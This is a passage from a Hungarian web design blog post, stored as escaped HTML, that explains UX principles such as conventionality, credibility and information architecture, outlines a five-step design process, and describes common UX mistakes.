kijelz\u0151m\u00e9rethez, mint p\u00e9ld\u00e1ul a reszponz\u00edv design. Els\u0151sorban arra \u00e9rdemes t\u00f6rekedned, hogy minden eszk\u00f6z\u00f6n j\u00f3 legyen a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny, nem felt\u00e9tlen\u00fcl a teljesen azonos megjelen\u00e9st kell er\u0151ltetni.<\/p>\n\n\n\n<h4>5. Konvencionalit\u00e1s<\/h4>\n\n\n\n<p>A weben az \u00e9vek sor\u00e1n kialakultak bizonyos hagyom\u00e1nyosnak mondhat\u00f3 megjelen\u00e9sek, melyeket ismernek \u00e9s j\u00f3l tudnak haszn\u00e1lni az emberek, mivel megszokt\u00e1k \u0151ket. Ilyen konvencion\u00e1lis dolog, hogy<\/p>\n\n\n\n<ul><li>a f\u0151 navig\u00e1ci\u00f3s men\u00fc vagy a weboldal fels\u0151 r\u00e9sz\u00e9n, vagy a bal oldal\u00e1n helyezkedik el,<\/li><li>a log\u00f3 a bal fels\u0151 sarokban kap helyet,<\/li><li>a log\u00f3 kattinthat\u00f3, \u00e9s a f\u0151oldalra viszi a l\u00e1togat\u00f3t,<\/li><li>valamint a linkek \u00e1ltal\u00e1ban megv\u00e1ltoztatj\u00e1k a sz\u00edn\u00fcket vagy a megjelen\u00e9s\u00fcket, amikor az eg\u00e9rmutat\u00f3t f\u00f6l\u00e9j\u00fck viszed.<\/li><\/ul>\n\n\n\n<p>Azok, akik minden hagyom\u00e1nyos dolgot egyszer\u0171en kihaj\u00edtan\u00e1nak az ablakon annak \u00e9rdek\u00e9ben, hogy igaz\u00e1n egyedi \u00e9s k\u00fcl\u00f6nleges designt hozzanak \u00f6ssze, rendk\u00edv\u00fcl nagy hib\u00e1t k\u00f6vetnek el. Ez olyan, mint ha az aut\u00f3 korm\u00e1ny\u00e1t a h\u00e1ts\u00f3 \u00fcl\u00e9shez helyezn\u00e9nk, ami minimum \u00f6sszezavarja az embereket, de ink\u00e1bb haszn\u00e1lhatatlann\u00e1 v\u00e1lik t\u0151le az aut\u00f3.<\/p>\n\n\n\n<h4>7. Hiteless\u00e9g<\/h4>\n\n\n\n<p>A hiteless\u00e9get seg\u00edti, ha tiszt\u00e1n \u00e9s \u0151szint\u00e9n besz\u00e9lsz a term\u00e9kedr\u0151l, szolg\u00e1ltat\u00e1sodr\u00f3l a weboldaladon. Ne kelljen a felhaszn\u00e1l\u00f3knak t\u00f6bb tucat oldalt megkeresnie, hogy megtudja, val\u00f3j\u00e1ban mivel foglalkozol. Tedd ki ezeket az inform\u00e1ci\u00f3kat a weboldaladra, \u00e9s azt is tedd vil\u00e1goss\u00e1, hogy milyen \u00e9rt\u00e9ke van annak, amivel foglalkozol.<\/p>\n\n\n\n<p>\u00c9s egy tov\u00e1bbi hiteless\u00e9gi tan\u00e1cs: ha lehets\u00e9ges, tedd ki az \u00e1rakat a weboldaladra, m\u00e9g akkor is, ha ink\u00e1bb azt szeretn\u00e9d, hogy kapcsolatba l\u00e9pjenek veled a felhaszn\u00e1l\u00f3k. Ezzel n\u00f6veled a hiteless\u00e9ged, megb\u00edzhat\u00f3bbnak t\u0171nsz majd a szem\u00fckben.<\/p>\n\n\n\n<h4>8. Felhaszn\u00e1l\u00f3-k\u00f6zpont\u00fas\u00e1g<\/h4>\n\n\n\n<p>Mik\u00f6zben az el\u0151bb felsorolt r\u00e9szletek j\u00f3 kiindul\u00e1si pontot jelentenek, val\u00f3j\u00e1ban akkor tudod hat\u00e9konyan jav\u00edtani a weboldaladon a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt, ha felhaszn\u00e1l\u00f3i teszteket v\u00e9gzel, visszajelz\u00e9seket gy\u0171jtesz, \u00e9s mindezek alapj\u00e1n m\u00f3dos\u00edtasz a weboldaladon. Azt ne felejtsd el, hogy a felhaszn\u00e1l\u00f3k 68 sz\u00e1zal\u00e9ka az\u00e9rt nem konvert\u00e1l, mert \u00fagy gondolj\u00e1k, hogy egy\u00e1ltal\u00e1n nem foglalkozol az \u0151 \u00e9lm\u00e9ny\u00fckkel. Ez\u00e9rt mindig k\u00e9pzeld magad a felhaszn\u00e1l\u00f3k hely\u00e9be, \u00e9s gondold \u00e1t valamennyi l\u00e9p\u00e9s\u00fcket a weboldaladon!<\/p>\n\n\n\n<h2>N\u00e9h\u00e1ny dolog, amir\u0151l nem felt\u00e9tlen\u00fcl tudod, hogy a UX r\u00e9sze<\/h2>\n\n\n\n<p>A UX nem korl\u00e1toz\u00f3dik puszt\u00e1n a technikai \u00e9s vizu\u00e1lis elemekre. Akad n\u00e9h\u00e1ny olyan elem, melynek komoly szerepe van a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny alak\u00edt\u00e1s\u00e1ban, mik\u00f6zben nem felt\u00e9tlen\u00fcl k\u00e9pezik r\u00e9sz\u00e9t a UI megtervez\u00e9s\u00e9nek.<\/p>\n\n\n\n<h4>Tartalomstrat\u00e9gia, tartalomk\u00e9sz\u00edt\u00e9s<\/h4>\n\n\n\n<p>A tartalom r\u00e9v\u00e9n alapozhatjuk meg a kapcsolatunkat a felhaszn\u00e1l\u00f3kkal, kommunik\u00e1lhatjuk fel\u00e9j\u00fck term\u00e9k\u00fcnk \u00e9rt\u00e9keit, \u00e9s hogy az mi\u00e9rt hasznos a sz\u00e1mukra. A tartalom, \u00e9s hogy az mennyire \u00e1ll \u00f6sszhangban a felhaszn\u00e1l\u00f3i ig\u00e9nyekkel, legal\u00e1bb annyira fontos, mint a weboldal vizu\u00e1lis megjelen\u00e9se. Egy j\u00f3l meg\u00edrt sz\u00f6veg k\u00e9pes arra, hogy megragadja a felhaszn\u00e1l\u00f3kat, t\u00e1j\u00e9koztassa \u0151ket, s\u0151t ak\u00e1r \u00e9rzelmi reakci\u00f3kat is kiv\u00e1ltson. A tartalom ez\u00e9rt rendk\u00edv\u00fcl fontos r\u00e9sze a UX-nek, seg\u00edt kialak\u00edtani a j\u00f3 felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt.<\/p>\n\n\n\n<p>A tartalom l\u00e9nyeges az oldalra el\u0151sz\u00f6r \u00e9rkez\u0151 l\u00e1togat\u00f3k szempontj\u00e1b\u00f3l is, hiszen \u0151k az oldalon l\u00e9v\u0151 sz\u00f6vegek seg\u00edts\u00e9g\u00e9vel hat\u00e1rozhatj\u00e1k meg, hogy mit \u00e9s mi\u00e9rt tehetnek az oldaladon. A tanulhat\u00f3s\u00e1g a kulcs ahhoz, hogy megtartsd a l\u00e1togat\u00f3kat, \u00e9s a szavak jelentik az eszk\u00f6zt, mellyel ezt el\u00e9rheted.<\/p>\n\n\n\n<h4>Inform\u00e1ci\u00f3s architekt\u00fara<\/h4>\n\n\n\n<p>Az IA l\u00e9nyege az, hogy mik\u00e9nt szervezd \u00fagy egy dolognak az egyes r\u00e9szeit, hogy az \u00e9rthet\u0151 legyen. Egy weboldaln\u00e1l ez a strukt\u00fara kialak\u00edt\u00e1s\u00e1t jelenti, vagyis az inform\u00e1ci\u00f3k elrendez\u00e9s\u00e9t olyan m\u00f3don, hogy az seg\u00edtsen a felhaszn\u00e1l\u00f3knak meg\u00e9rteni, hol vannak, \u00e9s mit kell tenni\u00fck az\u00e9rt, hogy v\u00e9grehajtsanak egy feladatot.<\/p>\n\n\n\n<p>Az inform\u00e1ci\u00f3k elrendez\u00e9se, megc\u00edmk\u00e9z\u00e9se, kateg\u00f3ri\u00e1k al\u00e1 sorol\u00e1sa, a navig\u00e1ci\u00f3 \u00e9s a keres\u00e9s csak n\u00e9h\u00e1ny dolog, mely az IA r\u00e9sze. Az inform\u00e1ci\u00f3s architekt\u00fara kialak\u00edt\u00e1s\u00e1val foglalkoz\u00f3 szakember dr\u00f3tv\u00e1zak seg\u00edts\u00e9g\u00e9vel mutatja be, hogy a felhaszn\u00e1l\u00f3k mik\u00e9nt haladnak az oldalon, \u00e9s hogy az inform\u00e1ci\u00f3s strukt\u00far\u00e1nak mik\u00e9nt kellene m\u0171k\u00f6dnie.<\/p>\n\n\n\n<p>A felhaszn\u00e1l\u00f3nak \u00e1tl\u00e1that\u00f3s\u00e1gra van sz\u00fcks\u00e9ge, az IA pedig seg\u00edt a weboldalad rendszerez\u00e9sben, hogy ezt el\u00e9rd. Lehet\u0151v\u00e9 teszi a felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra, hogy meg\u00e9rts\u00e9k, hol vannak ahhoz az inform\u00e1ci\u00f3hoz k\u00e9pest, melyre sz\u00fcks\u00e9g\u00fck lenne, \u00e9s hogyan tal\u00e1lj\u00e1k meg azt. Egy j\u00f3 inform\u00e1ci\u00f3s strukt\u00fara n\u00e9lk\u00fcl a felhaszn\u00e1l\u00f3k zavarodottak, csal\u00f3dottak lesznek, \u00e9s csek\u00e9ly a val\u00f3sz\u00edn\u0171s\u00e9ge annak, hogy visszat\u00e9rnek a weboldaladra.<\/p>\n\n\n\n<h4>Interakci\u00f3 design<\/h4>\n\n\n\n<p>Az interakci\u00f3k megtervez\u00e9se a UX elengedhetetlen r\u00e9sze, \u00e9s csak\u00fagy, mint mag\u00e1t a UX-et, ezt is gyakran \u00f6sszekeverik a UI-tervez\u00e9ssel. Meg kell azonban \u00e9rteni, hogy a felhaszn\u00e1l\u00f3i fel\u00fclet az, amit a felhaszn\u00e1l\u00f3k l\u00e1tnak, m\u00edg az interakci\u00f3 megvervez\u00e9se azt jelenti, hogy a felhaszn\u00e1l\u00f3k mik\u00e9nt k\u00f6telez\u0151dnek el a felhaszn\u00e1l\u00f3i fel\u00fclettel, hogyan seg\u00edtheti az a felhaszn\u00e1l\u00f3kat abban, hogy a k\u00edv\u00e1nt tev\u00e9kenys\u00e9geket megtegy\u00e9k.<\/p>\n\n\n\n<p>Azon a szinten kell meg\u00e9rteni a felhaszn\u00e1l\u00f3id, ahol m\u00e1r meg tudod hat\u00e1rozni, hogy mit akarnak, mit v\u00e1rnak el, \u00edgy pedig meghat\u00e1rozhat\u00f3, hogy mik\u00e9nt seg\u00edtheted ehhez \u0151ket a weboldalad, term\u00e9ked, szolg\u00e1ltat\u00e1sod technikai korl\u00e1tainak figyelembe v\u00e9tel\u00e9vel.<\/p>\n\n\n\n<p>\u00d6nmag\u00e1ban a usability gyakran m\u00e1r nem el\u00e9g, k\u00fcl\u00f6n\u00f6sen a technol\u00f3gia haszn\u00e1lat\u00e1ban j\u00e1rtas felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra. Az interakci\u00f3k r\u00e9v\u00e9n lesz t\u00f6bb a weboldalad ann\u00e1l, hogy csup\u00e1n \u201cm\u0171k\u00f6dik\u201d, \u00e9s v\u00e1lik olyann\u00e1, hogy haszn\u00e1lata \u00e9lvezetet jelent az emberek sz\u00e1m\u00e1ra. A rossz interakci\u00f3k, a k\u00f6vetkezetlens\u00e9gek \u00e9s a nem megfelel\u0151 visszacsatol\u00e1sok gyenge felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt eredm\u00e9nyeznek, mely teljesen f\u00fcggetlen att\u00f3l, hogyan is n\u00e9z ki a weboldalad.<\/p>\n\n\n\n<p>\u00d6sszess\u00e9g\u00e9ben teh\u00e1t elmondhat\u00f3, hogy j\u00f3 p\u00e1r olyan dolog van, mely befoly\u00e1solja a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt. Ilyen a tartalom, az inform\u00e1ci\u00f3s architekt\u00fara vagy az interakci\u00f3k megtervez\u00e9se. Mindegyik t\u00e9nyez\u0151nek megvan a maga folyamata \u00e9s mindegyikhez sz\u00fcks\u00e9g van a felhaszn\u00e1l\u00f3 meg\u00e9rt\u00e9s\u00e9re.<\/p>\n\n\n\n<h2>A UX design 5 l\u00e9p\u00e9se egyszer\u0171en \u00e9s r\u00f6viden<\/h2>\n\n\n\n<p>Miel\u0151tt b\u00e1rmibe belekezden\u00e9l, az els\u0151 teend\u0151d, ha fontosnak tartod a UX-et, hogy pontosan meghat\u00e1rozod \u00e9s meg\u00e9rted a probl\u00e9m\u00e1t. \u00c9s nem csak Te, hanem az eg\u00e9sz csapat, aki a projekten dolgozik. A c\u00e9l az, hogy kider\u00fclj\u00f6n, mi kell a felhaszn\u00e1l\u00f3nak, \u00e9s hogyan lehet ezt megoldani. <\/p>\n\n\n\n<h4>Inform\u00e1ci\u00f3k gy\u0171jt\u00e9se<\/h4>\n\n\n\n<p>Ehhez tal\u00e1lkozni kell val\u00f3di felhaszn\u00e1l\u00f3kkal, \u00e9s megfigyelni, hogyan haszn\u00e1lj\u00e1k a term\u00e9ket. Ez vezet oda, hogy egy jobb term\u00e9ket tudj k\u00e9sz\u00edteni. Kellenek az interj\u00fak, az hogy meghallgasd az embereket. A l\u00e9nyeg itt az, hogy meg tudd hat\u00e1rozni, mik\u00e9nt befoly\u00e1solja \u0151ket a probl\u00e9ma, mi lehet az oka ennek, \u00e9s hogyan oldhat\u00f3 meg. Ehhez \u00f6ssze kell hangol\u00f3dnod a felhaszn\u00e1l\u00f3kkal, a hely\u00fckbe kell k\u00e9pzelni magad.<\/p>\n\n\n\n<h4>Persona k\u00e9sz\u00edt\u00e9se<\/h4>\n\n\n\n<p>Ha m\u00e1r tudod, hogy kinek tervezel, a k\u00f6vetkez\u0151 l\u00e9p\u00e9s, hogy ez alakot is \u00f6lts\u00f6n sz\u00e1modra. Itt egyszer\u0171en egy <a rel=\"noreferrer noopener\" aria-label=\"persona l\u00e9trehoz\u00e1s\u00e1r\u00f3l (\u00faj f\u00fcl\u00f6n nyitja meg)\" href=\"http:\/\/blog.webshark.hu\/2018\/02\/07\/persona-hasznalata\/\" target=\"_blank\">persona l\u00e9trehoz\u00e1s\u00e1r\u00f3l<\/a> van sz\u00f3. Ebben szerepelnie kell az \u00e9letrajz\u00e1nak, a szem\u00e9lyis\u00e9g\u00e9nek, a m\u00e1rk\u00e1dhoz val\u00f3 viszonyul\u00e1snak, az \u00e9rzelmi t\u00e9nyez\u0151knek (motiv\u00e1ci\u00f3, c\u00e9lok, probl\u00e9m\u00e1k, v\u00e1rakoz\u00e1sok), \u00e9s minden egy\u00e9b inform\u00e1ci\u00f3nak, mely seg\u00edti a jobb azonos\u00edt\u00e1st.<\/p>\n\n\n\n<h4>\u00d6tletel\u00e9s<\/h4>\n\n\n\n<p>Ezut\u00e1n j\u00f6n el a kreativit\u00e1s id\u0151szaka, amikor az eg\u00e9sz csapat a lehets\u00e9ges megold\u00e1sokra \u00f6sszpontos\u00edt, \u00e9s l\u00e9trehoz egy elk\u00e9pzel\u00e9st, amit meg akar val\u00f3s\u00edtani. V\u00e9gig kell gondolni, hogy melyek a legjobb megold\u00e1sok a c\u00e9lok el\u00e9r\u00e9s\u00e9re, valamint azt, hogy milyen probl\u00e9m\u00e1kat okozhatnak a felmer\u00fcl\u0151 \u00f6tletek.<\/p>\n\n\n\n<h4>Dr\u00f3tv\u00e1z \u00e9s protot\u00edpus elk\u00e9sz\u00edt\u00e9se<\/h4>\n\n\n\n<p>V\u00e9gre eljutunk mag\u00e1hoz a designhoz: a folyamat a dr\u00f3tv\u00e1z elk\u00e9sz\u00edt\u00e9s\u00e9vel kezd\u0151dik, amelyn\u00e9l felv\u00e1zol\u00e1sra ker\u00fclnek az alapvet\u0151 strukt\u00far\u00e1k. A dr\u00f3tv\u00e1znak meg kell mutatnia az interakci\u00f3kat, a fel\u00e9p\u00edt\u00e9st \u00e9s a designt, felv\u00e1zolni a felhaszn\u00e1l\u00f3i utat. A dr\u00f3tv\u00e1zat m\u00e1r megmutathatod m\u00e1soknak, mert \u00edgy kapsz visszajelz\u00e9seket az \u00f6tletek \u00e9rv\u00e9nyess\u00e9g\u00e9re vonatkoz\u00f3an. A<a rel=\"noreferrer noopener\" aria-label=\" dr\u00f3tv\u00e1zakr\u00f3l itt \u00edrtunk b\u0151vebben (\u00faj f\u00fcl\u00f6n nyitja meg)\" href=\"http:\/\/blog.webshark.hu\/2018\/07\/18\/drotvaz-prototipus-mockup\/\" target=\"_blank\"> dr\u00f3tv\u00e1zakr\u00f3l itt \u00edrtunk b\u0151vebben<\/a>. Ha m\u00e1r k\u00e9sz a dr\u00f3tv\u00e1z, ut\u00e1na j\u00f6het a protot\u00edpus elk\u00e9sz\u00edt\u00e9se.<\/p>\n\n\n\n<h4>Felhaszn\u00e1l\u00f3i tesztek<\/h4>\n\n\n\n<p>Ezut\u00e1n eljutunk a <a rel=\"noreferrer noopener\" aria-label=\"felhaszn\u00e1l\u00f3i tesztekhez (\u00faj f\u00fcl\u00f6n nyitja meg)\" href=\"http:\/\/blog.webshark.hu\/2019\/03\/28\/felhasznaloi-teszt\/\" target=\"_blank\">felhaszn\u00e1l\u00f3i tesztekhez<\/a>, melyek fontos r\u00e9szei a folyamatnak. Ehhez interj\u00fakra ker\u00fcl sor a felhaszn\u00e1l\u00f3kkal, ahol forgat\u00f3k\u00f6nyveket v\u00e1zolsz fel sz\u00e1mukra, melyen bel\u00fcl el kell \u00e9rni\u00fck egy c\u00e9lt, meg kell oldaniuk egy feladatot. Ezut\u00e1n megfigyeled a viselked\u00e9s\u00fcket haszn\u00e1lat k\u00f6zben. Az eredm\u00e9nyek alapj\u00e1n tudod majd tov\u00e1bb csiszolni a protot\u00edpust, v\u00e9g\u00fcl pedig l\u00e9trehozni mag\u00e1t a term\u00e9ket.<\/p>\n\n\n\n<h2>6 gyakori UX hiba<\/h2>\n\n\n\n<p>Alapvet\u0151 UX tervez\u00e9si hib\u00e1k, melyek egy\u00e9rtelm\u0171s\u00e9g\u00fck ellen\u00e9re m\u00e9gsem felt\u00e9tlen\u00fcl jutnak az esz\u00fcnkbe, amikor weboldalunk designj\u00e1n t\u00f6rj\u00fck a fej\u00fcnket. Pedig j\u00f3, ha \u00e9szben tartjuk \u0151ket. M\u00e1r mindj\u00e1rt az els\u0151 f\u00e1jdalmasan csattan\u00f3 pofonk\u00e9nt hathat:<\/p>\n\n\n\n<h4>1. UX hiba: Ha magadnak tervezel!<\/h4>\n\n\n\n<p>Sajnos sokan vagyunk \u00fagy, hogy azt \u00e9rezz\u00fck: mindent jobban tudunk a m\u00e1sikn\u00e1l, m\u00e9g azt is, hogy mire van sz\u00fcks\u00e9ge. Ez a hiba megjelenik term\u00e9szetesen weboldalak tervez\u00e9se sor\u00e1n is. F\u0151leg azok, akik kreat\u00edv szakter\u00fcleteken dolgoznak nagyon er\u0151s v\u00e9lem\u00e9nyeket k\u00e9pesek megfogalmazni, \u00e9s minden t\u00e9nyt a saj\u00e1t tapasztalati sz\u0171r\u0151j\u00fck\u00f6n kereszt\u00fcl \u00e9rtelmeznek.<\/p>\n\n\n\n<p>Pedig az \u00e1ltalunk tervezett weboldallal nem kell bizony\u00edtanunk semmit, mind\u00f6ssze egy haszn\u00e1lhat\u00f3, az embereket c\u00e9ljaik el\u00e9r\u00e9s\u00e9ben seg\u00edt\u0151 weboldalt kell \u00f6sszedobni. Persze nem mindig k\u00f6nny\u0171 \u00e1thidalni a szakad\u00e9kot ak\u00f6z\u00f6tt, hogy mit akarunk \u00e9s hogy mire van sz\u00fcks\u00e9ge a felhaszn\u00e1l\u00f3nak. De azok, akik megterveznek egy weboldalt, majdnem mindig valamif\u00e9le sz\u00fcl\u0151i gondoskod\u00e1ssal cs\u00fcggenek munk\u00e1ikon, azaz a weboldalakon. Pedig nem a weboldal \u00e9s az eg\u00f3juk ir\u00e1nt kellene felel\u0151ss\u00e9get v\u00e1llalniuk, hanem az emberek ir\u00e1nt.<\/p>\n\n\n\n<p>Milyen szab\u00e1lyokat \u00e9rdemes m\u00e9g betartani, hogy egy weboldal tervez\u00e9sekor a f\u00f6ld\u00f6n maradjunk?<\/p>\n\n\n\n<ul><li>A designfolyamat sor\u00e1n v\u00e9gig a felhaszn\u00e1l\u00f3k szemsz\u00f6g\u00e9b\u0151l kell l\u00e1tnod a weboldalt, vagyis az emberek cip\u0151j\u00e9ben kell j\u00e1rnod!<\/li><li>K\u00e9sz\u00edts felhaszn\u00e1l\u00f3i \u00fatvonalakat, amiken felt\u00e9telez\u00e9seid szerint a felhaszn\u00e1l\u00f3k k\u00fcl\u00f6nb\u00f6z\u0151 csoportjai, t\u00edpusai v\u00e9gighaladnak majd!<\/li><li>Haszn\u00e1lj v\u00e1s\u00e1rl\u00f3i perszon\u00e1kat annak \u00e9rdek\u00e9ben, hogy m\u00e9g jobban meg\u00e9rtsd a felhaszn\u00e1l\u00f3 csoportok viselked\u00e9s\u00e9t a weboldalon! Azt hogy mit akarnak az oldalt\u00f3l \u00e9s a c\u00e9gt\u0151l.<\/li><li>Azonos\u00edtsd be az UI neh\u00e9zs\u00e9geket okoz\u00f3 vonatkoz\u00e1sait, annak \u00e9rdek\u00e9ben, hogy elk\u00e9sz\u00edthesd az els\u0151 dr\u00f3tv\u00e1zakat, amiben szerepelnek a bevett UX-megold\u00e1sok \u00e9s a felhaszn\u00e1l\u00f3i \u00fatvonalak!<\/li><li>Annyi val\u00f3di eszk\u00f6z\u00f6n tesztelj, amennyin csak lehets\u00e9ges! Ha el\u00e9g nagy projektr\u0151l van sz\u00f3, akkor \u00e9rdemes kutat\u00e1sokat is v\u00e9gezni n\u00e9h\u00e1ny ter\u00fcleten a felhaszn\u00e1l\u00f3k bevon\u00e1s\u00e1val, vagy minimumk\u00e9nt moder\u00e1lt \u00e9s nem moder\u00e1lt usablity teszteket.<\/li><li>V\u00e9gezz A\/B teszteket is olyan design-elemeket illet\u0151en, mint a sz\u00ednek, a gombok, a sz\u00f6vegek, k\u00e9pek, stb.<\/li><\/ul>\n\n\n\n<h4>2. UX hiba: t\u00fal sokat felt\u00e9telezel a felhaszn\u00e1l\u00f3kr\u00f3l<\/h4>\n\n\n\n<p>Sok dologr\u00f3l hiszed azt, hogy evidencia a felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra, csak az\u00e9rt mert sz\u00e1modra az. Te nyilv\u00e1n sok id\u0151t t\u00f6ltesz a weboldaladdal vagy weboldalakkal, \u00edgy rutinod van a web haszn\u00e1lat\u00e1ban. \u00c9s az az alapfeltev\u00e9sed, hogy azok a dolgok, melyek sz\u00e1modra egy\u00e9rtelm\u0171ek, mindenki m\u00e1s is tiszt\u00e1ban van. Pedig nem. <strong>Az emberek nem \u00fagy haszn\u00e1lj\u00e1k \u00e9s nem \u00fagy l\u00e1tj\u00e1k a weboldalakat, ahogy Te<\/strong>. Neked gyakorlatod van benne, az embereknek nincs.<\/p>\n\n\n\n<p>Ez\u00e9rt nem m\u0171k\u00f6dik, ha weboldaltervez\u00e9sn\u00e9l a fel\u00e9telez\u00e9seidb\u0151l indulsz ki. P\u00e9ld\u00e1ul azt hiszed, hogy a felhaszn\u00e1l\u00f3k tudj\u00e1k mit jelentenek az ikonok, hogy amikor a weboldaladat haszn\u00e1lj\u00e1k, akkor csak arra figyelnek sz\u00e1z sz\u00e1zal\u00e9kosan, vagy hogy elej\u00e9t\u0151l a v\u00e9g\u00e9ig elolvass\u00e1k az haszn\u00e1lati utas\u00edt\u00e1saidat. Vagy, hogy egy\u00e1ltal\u00e1n k\u00e9pesek megtal\u00e1lni azt, amit keresnek.<\/p>\n\n\n\n<p>A val\u00f3s\u00e1g az, hogy a felhaszn\u00e1l\u00f3k sokszor teljesen tan\u00e1cstalanok, a vizu\u00e1lis jelz\u00e9sek csak \u00f6sszezavarj\u00e1k \u0151ket, egyszerre n\u00e9znek t\u00e9v\u00e9t, \u00e9s tartanak nyitva chatet, weboldalakat, \u00edgy nem tudnak figyelni a weboldaladra, nem az ir\u00e1nymutat\u00e1said alapj\u00e1n akarj\u00e1k megoldani a feladatokat, csak mennek a fej\u00fck ut\u00e1n, \u00e9s \u00e1ltal\u00e1ban fogalmuk sincs, hogyan tal\u00e1ljanak meg b\u00e1rmit is b\u00e1rmely weboldalon.<\/p>\n\n\n\n<p>A feladat teh\u00e1t itt az, hogy megfelel\u0151en ir\u00e1ny\u00edtsd \u0151ket, valamint lev\u00e1logasd k\u00f6z\u00fcl\u00fck azokat, akik fontos \u00fcgyfeleid, \u00e9s \u0151ket vezesd v\u00e9gig a folyamaton a c\u00e9lig.<\/p>\n\n\n\n<h4>3. UX hiba: \u00fagy \u00e9p\u00edted fel a weboldalad, ahogy a felhaszn\u00e1l\u00f3id akarj\u00e1k<\/h4>\n\n\n\n<p>Ez els\u0151re nyilv\u00e1n furcs\u00e1n hangzik azok ut\u00e1n, hogy a UX-ben minden a felhaszn\u00e1l\u00f3r\u00f3l sz\u00f3l, \u00e9s mindent a felhaszn\u00e1l\u00f3nak rendel\u00fcnk al\u00e1. De <strong>fontos l\u00e1tni a k\u00fcl\u00f6nbs\u00e9get ak\u00f6z\u00f6tt, hogy mit akarnak a l\u00e1togat\u00f3id, \u00e9s val\u00f3j\u00e1ban mire van sz\u00fcks\u00e9g\u00fck!<\/strong> Teh\u00e1t mik\u00f6zben az a c\u00e9l, hogy weboldalunk seg\u00edtse az embereket a c\u00e9ljaik el\u00e9r\u00e9s\u00e9ben, ezt nem \u00fagy lehet el\u00e9rni, ha pontosan azt val\u00f3s\u00edtjuk meg, amit kital\u00e1lnak.<\/p>\n\n\n\n<p>Nem lehet \u00e9s nem is kell mindazt megval\u00f3s\u00edtani, amit az emberek akarnak, amit jeleznek fel\u00e9nk – h\u00edvta fel a figyelmet az <a href=\"http:\/\/blog.invisionapp.com\/dont-design-what-users-want\/\" target=\"_blank\" rel=\"noopener\">Invisionapp blogban<\/a> Michael Sueoka, a The Mobile Majority user experience vezet\u0151je.<\/p>\n\n\n\n<h4>Mit akarnak \u00e9s mire van sz\u00fcks\u00e9g\u00fck?<\/h4>\n\n\n\n<p>\u0150 abb\u00f3l indul ki, hogy nagyon <strong>sokan a tervez\u00e9s sor\u00e1n sz\u00f3 szerint figyelembe veszik az \u00fcgyf\u00e9lig\u00e9nyeket<\/strong>, be\u00e9p\u00edtik az adott term\u00e9kbe mindazt, amit az emberek akarnak, an\u00e9lk\u00fcl, hogy a m\u00f6g\u00f6tte h\u00faz\u00f3d\u00f3 sz\u00e1nd\u00e9kot m\u00e9lyebben kutatn\u00e1k, vizsg\u00e1ln\u00e1k, felt\u00e9rk\u00e9pezn\u00e9k. De, ha p\u00e9ld\u00e1ul a gyerekekre b\u00edzn\u00e1nk, hogy egyenek azt, ami a kedv\u00fckre van, akkor vajon mit enn\u00e9nek? A legt\u00f6bb esetben v\u00e9lhet\u0151en valamilyen \u00e9dess\u00e9ggel t\u00f6mn\u00e9k magukat eb\u00e9d helyett. A sz\u00fcl\u0151knek azonban tudniuk kell, hogy ehelyett pontosan <strong>mire van sz\u00fcks\u00e9g\u00fck<\/strong> a gyerekeknek, mi az, amit az \u00e9rdekeiket szolg\u00e1lja.<\/p>\n\n\n\n<p>Az emberek ugyan\u00fagy, ahogy a gyerekek, nincsenek tiszt\u00e1ban azzal, mire van sz\u00fcks\u00e9g\u00fck, csak azt tudj\u00e1k k\u00f6zvet\u00edteni, hogy <strong>szerint\u00fck mit akarnak<\/strong>. A kett\u0151 k\u00f6z\u00f6tt pedig \u00f3ri\u00e1si a k\u00fcl\u00f6nbs\u00e9g. Teh\u00e1t nem arra kell tervezni, hogy mit akarnak az emberek, hanem hogy val\u00f3j\u00e1ban mi kell nekik.<\/p>\n\n\n\n<p>A szerz\u0151 mindezt egy, a munk\u00e1j\u00e1b\u00f3l vett p\u00e9ld\u00e1val is illusztr\u00e1lta, melyb\u0151l sz\u00e1munkra annyi az \u00e9rdekes, hogy egyik \u00fcgyfel\u00fck \u00e1lland\u00f3 e-mailes \u00e9rtes\u00edt\u00e9st k\u00e9rt, amint t\u00f6rt\u00e9nik valami a kamp\u00e1ny\u00e1ban. A folyamatosan a postafi\u00f3kj\u00e1ba \u00e9rkez\u0151 \u00e9rtes\u00edt\u00e9sek viszont nyilv\u00e1nval\u00f3an frusztr\u00e1lt\u00e1k volna, ez\u00e9rt egy, az appon bel\u00fcli \u00e9rtes\u00edt\u00e9st dolgoztak ki. Hiszen a felhaszn\u00e1l\u00f3 c\u00e9lja az volt, hogy mindig k\u00e9pben legyen a kamp\u00e1nyaival kapcsolatban, hogy l\u00e1ssa, minden rendben van vele, nem pedig az, hogy folyamatosan el\u00e1rassz\u00e1k az e-mailek.<\/p>\n\n\n\n<h4>A felhaszn\u00e1l\u00f3 val\u00f3di ig\u00e9nyeinek felt\u00e9rk\u00e9pez\u00e9se<\/h4>\n\n\n\n<p>persze nem egyszer\u0171 folyamat. Ehhez m\u00e9lyre kell \u00e1sni, meg kell tal\u00e1lni a felhaszn\u00e1l\u00f3t nyugtalan\u00edt\u00f3 probl\u00e9ma gy\u00f6ker\u00e9t, meg\u00e9rteni, hogy mi\u00e9rt mer\u00fclt fel benne a k\u00e9r\u00e9s. A designer sz\u00e1m\u00e1ra teh\u00e1t nem az a k\u00e9rd\u00e9s, hogy mit akar a felhaszn\u00e1l\u00f3, hanem az, hogy <strong>mi\u00e9rt akarja.<\/strong> Ennek meg\u00e1llap\u00edt\u00e1s\u00e1ra sz\u00fcks\u00e9g van persze a szem\u00e9lyes interj\u00fakra a felhaszn\u00e1l\u00f3kkal, hogy ezekb\u0151l lesz\u0171rhess\u00fck az egyszer\u0171 k\u00f6vetkeztet\u00e9st arra n\u00e9zve, mi is a val\u00f3di ig\u00e9ny\u00fck.<\/p>\n\n\n\n<p>A felhaszn\u00e1l\u00f3i visszajelz\u00e9s jelenti teh\u00e1t a legfontosabb dolog minden UX designer, weboldaltulajdonos, product manager sz\u00e1m\u00e1ra. A legjobb m\u00f3dja pedig a felhaszn\u00e1l\u00f3i visszajelz\u00e9sek begy\u0171jt\u00e9s\u00e9nek, ha <strong>l\u00e1tjuk, mik\u00e9nt haszn\u00e1lja a term\u00e9k\u00fcnket a 